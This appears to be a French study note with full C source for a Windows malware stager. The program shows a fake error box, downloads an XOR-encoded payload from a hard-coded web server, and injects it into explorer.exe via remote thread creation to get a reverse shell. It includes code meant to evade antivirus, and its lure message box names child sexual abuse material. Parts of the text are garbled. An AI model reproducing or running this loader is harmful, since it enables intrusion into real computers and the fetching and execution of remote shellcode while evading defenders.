

Fetch and Web Server

samedi 21 février 2026 15:00

Le but est de récupérer le binaire via internet pour une question de taille et de multi staging.

Ça peut être utile pour faire d'autre tâche par exemple pour les ransomware : récupérer la clé etc

Ou pour un malware pour récupérer un autre payload ailleurs si une condition est remplie.

Dans cet exemple on va récupérer un payload qui nous active un reverse shell après l'avoir récupéré via un serveur.

Mon programme affichera de base un message box et quand le user click OK, il va récupérer le payload sur mon web serveur et ensuite chiffrer ce payload pour bypasser Windows Defender et ensuite il l'exécutera.
(sinon pour plus de simplicité il va déjà récupérer le payload déjà chiffré en xor...)

On va avoir besoin de ces nouvelles fonctions :

InternetOpenW - Opens an internet session handle which is a prerequisite to using the other Internet Windows APIs

InternetOpenUrlW - Open a handle to the specified resource which is the payload's URL.

InternetReadFile - Reads data from the web resource handle. This is the handle opened by **InternetOpenUrlW**.

InternetCloseHandle - Closes the handle.

InternetSetOptionW - Sets an Internet option.

Commençons !

On doit inclure la librairie Wininet.lib :

```
#include <Wininet.h>
#define PAYLOAD = L"http://192.168.1.17:7777/caca.txt"
#pragma comment(lib, "Wininet.lib")
```

On va créer une fonction globale qui va d'abord ouvrir une session récupérer le fichier indiqué dans la macro PAYLOAD.

On va utiliser la fonction **InternetOpenW** qui va nous permettre d'ouvrir un handle d'internet session ce qui va permettre à notre programme d'utiliser les fonctions WinINet.

```
// Opening an internet session handle
hInternet = InternetOpenW(NULL, NULL, INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL);
```

On met tout en NULL car rien ne nous intéresse dans notre cas.

Value	Meaning
INTERNET_OPEN_TYPE_DIRECT	Resolves all host names locally.
INTERNET_OPEN_TYPE_PRECONFIG	Retrieves the proxy or direct configuration from the registry.
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY	Retrieves the proxy or direct configuration from the registry and prevents the use of a startup Microsoft JScript or Internet Setup (INS) file.
INTERNET_OPEN_TYPE_PROXY	Passes requests to the proxy unless a proxy bypass list is supplied and the name to be resolved bypasses the proxy. In this case, the function uses INTERNET_OPEN_TYPE_DIRECT .

Ensuite on doit ouvrir un handle spécifique pour la ressource qu'on doit récupérer donc ici pour récupérer notre payload. On va utiliser la fonction **InternetOpenUrlW**. Cette fonction retourne un handle valide.

◆ Cas 2 : fichier < 1024 bytes

Exemple : fichier de 300 bytes

Premier appel :

Code

```
dwBytesRead = 300
```

Il n'y a plus rien après.

Donc :

↵ C

300 < 1024

👉 fin immédiatement.

Voici la fonction au complet :

```
BOOL GetRemotePayload(LPCWSTR szUrl, PBYTE*
pPayloadBytes, SIZE_T* sPayloadSize){
    unsigned char bkey = 0x10;
    HINTERNET hInternet = INVALID_HANDLE_VALUE;
    HINTERNET hPayload = INVALID_HANDLE_VALUE;
    PBYTE pByte = 0;
    PBYTE pTmpByte = 0;
    DWORD dwBytesRead = 0;
    SIZE_T SizeByte = 0;

    //ensuite on récupère le handle pour la session
    internet :
    // Opening an internet session handle
    //pour le premier parametre on peut mettre un nom qu'on
    souhaite ou NULL
    hInternet = InternetOpenW(L"BadxBad", 0, NULL, NULL,
    0);
    //ensuite on doit ouvrir un handle spécifique pour la
    ressource qu'on doit récupérer donc ici pour récupérer
    notre payload
    //le premier parametre est le handle de la current
    internet session donc hInternet.
    //deuxieme param correspond à l'URL qu'on souhaite se
    connecter donc notre PAYLOAD ici
    //troisième param correspond au header qu'on souhaite
    envoyer au server http
    //quatrième param correspond a des flags spécifiques
    ici:
    //INTERNET_FLAG_HYPERLINK |
    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID (to achieve a
    higher success rate with the HTTP request in case of an
    error on the server side.) nous intéressent seulement
    hPayload = InternetOpenUrlW(hInternet, PAYLOAD, NULL,
    0, INTERNET_FLAG_HYPERLINK |
    INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
    //ensuite on va lire le payload. Comme on ne connaît
    pas la taille de notre payload on va allouer
    dynamiquement la taille du buffer avec une boucle.
    //Pour ça on va utiliser la fonction InternetReadFile

    //on alloue une taille de lko (ce qui est petit) au
    buffer. Si le fichier est en dessous de ça on arrete la
    boucle.
    //ici LPTR signifie qu'on alloue de la mémoire fixe et
    initialisé à zéro.
    pTmpByte = (PBYTE)LocalAlloc(LPTR, 1024);
    //if pByte == NULL
    //tant qu'on a pas atteint la fin du fichier on
    continue. ON a mis TRUE car la fonction
    internetReadFile est un BOOL:
    while(TRUE){
        //On va telecharger le fichier petit bout par petit
        bout et le reconstruire en mémoire.
        //A chaque fois le programme va lire lko par un ko.
        //ici on récupère par vague de lko ça veut dire que si
        à la prochaine récupération le chunk est inférieur à
        lko alors on arrive sur la fin du fichier
        //si le prochain bloc récupéré est par exemple égal à
        325 alors on peut partir du principe qu'il n'y aura
        plus rien après. car le programme récupère par BLOC de
        1024.
        if(!InternetReadFile(hPayload, pTmpByte, 1024,
        &dwBytesRead)){
            return FALSE;
        }
        //on initialise la taille à chaque boucle :
        SizeByte = SizeByte + dwBytesRead;
        //ensuite on va allouer le buffer final pByte avec les
        bytes récupérés :
```

```

if (pByte == NULL){
pByte = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
}
else
//on realloque le buffer avec la taille finale :
pByte = (PBYTE)LocalReAlloc(pByte, SizeByte,
LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pByte == NULL) {
return -1;
}
//on va copier le payload récupéré dans pByte
//on doit revenir au début du chunk qu'on vient
d'ajouter !! ESSAYER DE COMPRENDRE CETTE LIGNE !!!!!
memcpy((PVOID)(pByte + (SizeByte -
dwBytesRead)), pTmpByte, dwBytesRead);
//cette ligne copie dans l'adresse initialisé (pByte
+(SizeByte - dwBytesRead)) les bytes lu (dwBytesRead).

//ensuite on nettoie le buffer temporaire
memset(pTmpByte, '\0', dwBytesRead);
//si on lit moins de 10.24 octets ça veut dire
qu'on a atteint la fin du fichier et on sort de la
boucle
if (dwBytesRead == 0) break;

}
*pPayloadBytes = pByte;
*sPayloadSize = SizeByte;
//on ferme les handles :
if (hInternet)
InternetCloseHandle(hInternet);

if (hPayload)
InternetCloseHandle(hPayload);

if (hInternet)
InternetSetOptionW(NULL,
INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);
if (pTmpByte)
LocalFree(pTmpByte);
return TRUE;
}

```

Voici le programme complet qui récupère le payload en bin (qui a été xored avec une clé de 10) puis qui le déxore et qui l'exécute dans le process explorer.exe :

```

#include <Windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <winuser.h>
#include <tlhelp32.h> // pour la fonction
CreateToolhelp32Snapshot
#pragma comment(lib, "User32.lib")
#pragma comment(lib, "Wininet.lib")
#define PAYLOAD L"http://192.168.1.17:7777/caca.enc"
#define MAX_OP 100000000
/*-----ReportError-----
*/
BOOL ReportError(unsigned char* ApiName){
printf("Erreur [%s] => code : %d\n", ApiName,
GetLastError());
return FALSE;
}
// Fonction "souris folle"
int crazymouse(){
int i, x, y;
for(i = 0; i < 100; i++) {
x = rand() % 1001;
y = rand() % 801;
SetCursorPos(x, y);
Sleep(200);
}
return 0;
}
// Fonction pour afficher le shellcode en hexadécimal
void print_hex(unsigned char *buf, int size) {
for (int i = 0; i < size; i++) {
if (i % 16 == 0 && i != 0) {
printf("\n");
}
}
}

```

```

    }
    printf("\\x%02x", buf[i]);
}
printf("\\n");
}
// Fonction de chiffrement XOR
void XOR(unsigned char key, unsigned char *buf, int
size) {
    for (int i = 0; i < size; i++) {
        buf[i] ^= key;
    }
}
/*-----BypassAv-----*/
// Fonction de "bypass AV" (simulation)
BOOL BypassAv(){
    int cpt = 0;
    int i = 0;
    for(i = 0; i < MAX_OP; i++)
    {
        cpt++;
    }
    return TRUE;
}
/*-----FindMyProc-----*/
int FindMyProc(){
    int foundPID = 0;
    HANDLE hProcess = INVALID_HANDLE_VALUE;
    BOOL hResult = 0;
    HANDLE hSnapshot = INVALID_HANDLE_VALUE;
    PROCESSENTRY32 pe32; // structure PROCESSENTRY32
    const char TargetProc[] = "explorer.exe";
    // on prend un snapshot de tous les processus du
système avec CreateToolhelp32Snapshot
    hSnapshot =
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE){
        ReportError("CreateToolhelp32Snapshot");
        CloseHandle(hSnapshot);
        return FALSE;
    }
    // on initialise la taille du champ dwSize (dans la
structure PROCESSENTRY32)
    // nécessaire pour la fonction Process32First
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // on récupère les informations sur le premier
processus trouvé dans le snapshot
    hResult = Process32First(hSnapshot, &pe32);
    if(!hResult){
        ReportError("Process32First");
        CloseHandle(hSnapshot);
        return FALSE;
    }
    // ensuite on parcourt les processus pour trouver
celui recherché
    while (hResult){ // tant que c'est vrai, on compare
les noms des processus
        if(strcmp(TargetProc, pe32.szExeFile) == 0){
            foundPID = pe32.th32ProcessID; // on
récupère le PID du processus cible
            break;
        }
        // si ce n'est pas le bon, on passe au suivant
        if(!Process32Next(hSnapshot, &pe32)){ // si
échec → sortie avec erreur
            ReportError("Process32Next");
            CloseHandle(hSnapshot);
            return FALSE;
        }
    }
    // on retourne le PID trouvé
    CloseHandle(hSnapshot);
    return foundPID;
}
//fonction pour récupérer le payload sur un server
BOOL GetRemotePayload(LPCWSTR szUrl, PBYTE*
pPayloadBytes, SIZE_T* sPayloadSize){
    unsigned char bkey = 0x10;
    HINTERNET hInternet = INVALID_HANDLE_VALUE;
    HINTERNET hPayload = INVALID_HANDLE_VALUE;
    PBYTE pByte = 0;

```

```

PBYTE pTmpByte = 0;
DWORD dwBytesRead = 0;
SIZE_T SizeByte = 0;
//ensuite on récupère le handle pour la session
internet :
// Opening an internet session handle
//pour le premier parametre on peut mettre un nom qu'on
souhaite ou NULL
hInternet = InternetOpenW(L"BadxBad", 0, NULL, NULL,
0);
//ensuite on doit ouvrir un handle spécifique pour la
ressource qu'on doit récupérer donc ici pour récupérer
notre payload
//le premier parametre est le handle de la current
internet session donc hInternet.
//deuxieme param correspond à l'URL qu'on souhaite se
connecter donc notre PAYLOAD ici
//troisième param correspond au header qu'on souhaite
envoyer au server http
//quatrième param correspond a des flags spécifiques
ici:
//INTERNET_FLAG_HYPERLINK |
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID (to achieve a
higher success rate with the HTTP request in case of an
error on the server side.) nous intéressent seulement
hPayload = InternetOpenUrlW(hInternet, PAYLOAD, NULL,
0, INTERNET_FLAG_HYPERLINK |
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
//ensuite on va lire le paylaod. Comme on ne connait
pas la taille de notre payload on va allouer
dynamiquement la taille du buffer avec une boucle.
//Pour ça on va utiliser la fonction InternetReadFile
//on alloue une taille de lko (ce qui est petit) au
buffer. Si le fichier est en dessous de ça on arrete la
boucle.
//ici LPTR signifie qu'on alloue de la mémoire fixe et
initialisé à zéro.
pTmpByte = (PBYTE)LocalAlloc(LPTR, 1024);
//if pByte == NULL
//tant qu'on a pas atteint la fin du fichier on
continue. ON a mis TRUE car la fonction
internetReadFile est un BOOL:
while(TRUE){
//On va telecharger le fichier petit bout par petit
bout et le reconstruire en mémoire.
//A chaque fois le programme va lire lko par un ko.
//ici on récupère par vague de lko ça veut dire que si
à la prochaine récupération le chunk est inférieur à
lko alors on arrive sur la fin du fichier
//si le prochain bloc récupéré est par exemple égal à
325 alors on peut partir du principe qu'il n'y aura
plus rien apres. car le programme récupère par BLOC de
1024.
if(!InternetReadFile(hPayload, pTmpByte, 1024,
&dwBytesRead)){
return FALSE;
}
//on initialise la taille à chaque boucle :
SizeByte = SizeByte + dwBytesRead;
//ensuite on va allouer le buffer final pByte avec les
bytes récupérés :
if (pByte == NULL){
pByte = (PBYTE)LocalAlloc(LPTR, dwBytesRead);
}
else
//on realloque le buffer avec la taille finale :
pByte = (PBYTE)LocalReAlloc(pByte, SizeByte,
LMEM_MOVEABLE | LMEM_ZEROINIT);
if (pByte == NULL) {
return -1;
}
//on va copier le payload récupéré dans pByte
//on doit revenir au début du chunk qu'on vient
d'ajouter !! ESSAYER DE COMPRENDRE CETTE LIGNE !!!!!
memcpy((PVOID)(pByte + (SizeByte -
dwBytesRead)), pTmpByte, dwBytesRead);
//ensuite on nettoie le buffer temporaire
memset(pTmpByte, '\\0', dwBytesRead);
//si on lit moins de 10.24 octets ça veut dire
qu'on a atteint la fin du fichier et on sort de la
boucle

```

```

        if (dwBytesRead == 0) break;

    }
    *pPayloadBytes = pByte;
    *sPayloadSize = SizeByte;
//on ferme les handles :
    if (hInternet)
        InternetCloseHandle(hInternet);
        // Closing handle

    if (hPayload)
        InternetCloseHandle(hPayload);
        // Closing handle

    if (hInternet)
        InternetSetOptionW(NULL,
INTERNET_OPTION_SETTINGS_CHANGED, NULL, 0);    //
Closing Wininet connection
    if (pTmpByte)
        LocalFree(pTmpByte);
return TRUE;
}
//-----
-----//
int main(int argc, char*argv[]){
PBYTE pPayloadByte = NULL;
SIZE_T sPayloadSize = 0;
unsigned char bkey = 0x10;
LPVOID shellcode_mem; // pointer for the allocated
memory in the target process
HANDLE hThread; // handle for the remote thread
BOOL pShellcodeAddress; //variable to store the result
of VirtualProtectEx
DWORD oldprotect = 0; //variable to store the old
protection flags of the allocated memory
HANDLE hProcess = 0; //process handle for the target
process
SIZE_T bytesWritten = 0; //variable to store the number
of bytes written to the target process
int foundPID = 0; //variable to store the handle of the
target process found by FindMyProc()

ShowWindow(NULL, SW_HIDE);
AllocConsole();
ShowWindow(FindWindowW(L"ConsoleWindowClass", NULL),
FALSE);
//d'abord la message box
int msgboxID = MessageBox(NULL,TEXT("Error loading C:\
Documents and Settings\\All Users\\Child
Porn"),TEXT("Error"), MB_YESNO |MB_ICONEXCLAMATION );
switch (msgboxID){
    case IDNO:
        crazymouse();
        break;
    case IDYES:
        break;
    case IDIGNORE:
        crazymouse();
        break;
return msgboxID;
}
GetRemotePayload(PAYLOAD, &pPayloadByte, &sPayloadSize
);

FreeConsole();
// Appel de la fonction BypassAV();
BypassAv(); // fonction qui permet de contourner
l'antivirus (AV) dynamique
foundPID = FindMyProc(); // on appelle cette fonction
pour obtenir le handle du processus cible et le stocker
dans foundPID, ce handle sera utilisé pour le reste du
code
if (foundPID == 0) {
    return -1;
}
// on ouvre le processus trouvé avec la fonction
FindMyProc :
hProcess = OpenProcess(PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE,
(DWORD)foundPID);
if (hProcess == NULL) {
    ReportError("OpenProcess");
}

```

```
    CloseHandle(hProcess);
    return -1;
}
// on déchiffre le shellcode avec XOR avant de
// l'injecter dans le processus cible,
// puis on le rechiffre après l'injection pour éviter
// la détection par l'AV
XOR(bkey, pPayloadByte, sPayloadSize);
// on alloue de la mémoire dans le processus cible avec
// des permissions RWX pour stocker le shellcode
shellcode_mem = VirtualAllocEx(hProcess, NULL,
sPayloadSize, (MEM_RESERVE | MEM_COMMIT),
PAGE_READWRITE); // PAGE_EXECUTE_READWRITE
if (shellcode_mem == NULL) {
    ReportError("VirtualAllocEx");
    CloseHandle(hProcess);
    HeapFree(GetProcessHeap(), 0, pPayloadByte);
    return -1;
}
// on écrit le shellcode dans la mémoire allouée du
// processus cible
if (!WriteProcessMemory(hProcess, shellcode_mem,
(PVOID)pPayloadByte, sPayloadSize, &bytesWritten)) {
    ReportError("WriteProcessMemory");
    VirtualFreeEx(hProcess, shellcode_mem, 0,
MEM_RELEASE);
    CloseHandle(hProcess);
    return EXIT_FAILURE;
}
XOR(bkey, pPayloadByte, sPayloadSize); // second XOR =
// rechiffrement du shellcode en mémoire locale pour
// éviter la détection par l'AV (pas forcément
// nécessaire)
// on change les protections de la mémoire allouée en
// PAGE_EXECUTE_READ pour exécuter le shellcode
pShellcodeAddress = VirtualProtectEx(hProcess,
shellcode_mem, sPayloadSize, PAGE_EXECUTE_READ,
&oldprotect);
if (!pShellcodeAddress) {
    ReportError("VirtualProtectEx");
    return EXIT_FAILURE;
}
// on crée un thread distant dans le processus cible
// pour exécuter le shellcode
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)shellcode_mem, NULL, 0, NULL);
if (hThread == NULL) {
    ReportError("CreateRemoteThread");
    return EXIT_FAILURE;
}
// on attend que le thread distant termine l'exécution
// du shellcode
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
CloseHandle(hProcess);
return EXIT_SUCCESS;
}

//allouer tout ça ici et faire l'injection de
//processus
```


